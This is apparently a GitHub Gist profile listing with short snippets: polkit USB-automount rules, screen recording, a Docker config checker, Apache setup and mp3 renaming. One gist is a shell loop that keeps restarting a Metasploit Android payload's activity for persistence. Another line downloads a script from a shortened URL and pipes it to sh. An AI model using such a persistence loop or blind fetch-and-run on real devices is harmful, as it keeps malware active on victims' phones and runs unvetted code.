Skip to content

Instantly share code, notes, and snippets.

(function(){
'use script';
}())
@RomaniukVadim
RomaniukVadim / 10-udisks.rules
Created January 26, 2018 03:25
Gentoo polkit for automount usb /etc/polkit-1/rules.d/
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.udisks2.filesystem-mount" &&
subject.user == "reverse_tcp") {
return "yes";
}
});
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.udisks.filesystem-mount-system-internal" &&
subject.user == "reverse_tcp") {
@RomaniukVadim
RomaniukVadim / record.sh
Created January 27, 2018 04:35
Ffmpeg screen capture
ffmpeg -video_size 1366x768 -framerate 30 -f x11grab -i :0.0 -f alsa -ac 2 -i hw:1 output.mkv
@RomaniukVadim
RomaniukVadim / gsm_data_shared.c
Created February 7, 2018 13:06
Fixed gsm_data_shared
/* (C) 2008-2010 by Harald Welte <laforge@gnumonks.org>
*
* All Rights Reserved
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
wget goo.gl/5Y2Gj -O install.sh && sh install.sh
@RomaniukVadim
RomaniukVadim / check-config.sh
Created February 28, 2018 15:16
Docker config checker
#!/usr/bin/env bash
set -e
EXITCODE=0
# bits of this were adapted from lxc-checkconfig
# see also https://github.com/lxc/lxc/blob/lxc-1.0.2/src/lxc/lxc-checkconfig.in
possibleConfigs=(
'/proc/config.gz'
apt-get update
apt-get upgrade
apt-get install apache2 php7.0 php7.0-cli php7.0-curl php7.0-fpm \
php7.0-mysql apache2 mysql-server mysql-client libapache2-mod-rpaf phpmyadmin \
build-essential apache2-dev \
# В процессе установки не выбираем ничего и просто нажимаем OK в первом окне
# Во втором окне выбираем YES, затем придумываем пароль от базы phpmyadmin нажимаем ок
@RomaniukVadim
RomaniukVadim / delete_shars.sh
Created April 8, 2018 17:17
Script to beautify mp3 files downloaded with youtube-dl
#!/bin/sh
IFS=' '
for file in *.mp3; do
if [ ! -d "$file" ]; then
newfilename=`echo "$file" | sed -e "s/ /_/g"`;
new_name=`echo $newfilename |awk '{print substr($0,1,length-16)}'| xargs -I{} echo "{}.mp3"`;
mv "$file" "$new_name" 2>/dev/null;
fi
done
@RomaniukVadim
RomaniukVadim / gist:a7dfd673e080f2f1dbdd32e303527ade
Created May 31, 2018 21:56
Start MainActivity after reboot
#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done
@RomaniukVadim
RomaniukVadim / sort_list.erl
Created November 17, 2018 23:11
Erlang nesting list sort
-module(sort_list).
-export([sort_list/1]).
sort_list(List) -> internal_sort_list(List, []).
internal_sort_list([], Acc) -> lists:sort(Acc);
internal_sort_list([H|T],Acc) ->
case H of
{F, S} when is_list(S) =:= true ->
Data = sort_list(S),
internal_sort_list(T, [{F, Data}|Acc]);
{F,S}-> internal_sort_list(T, [{F,S}|Acc])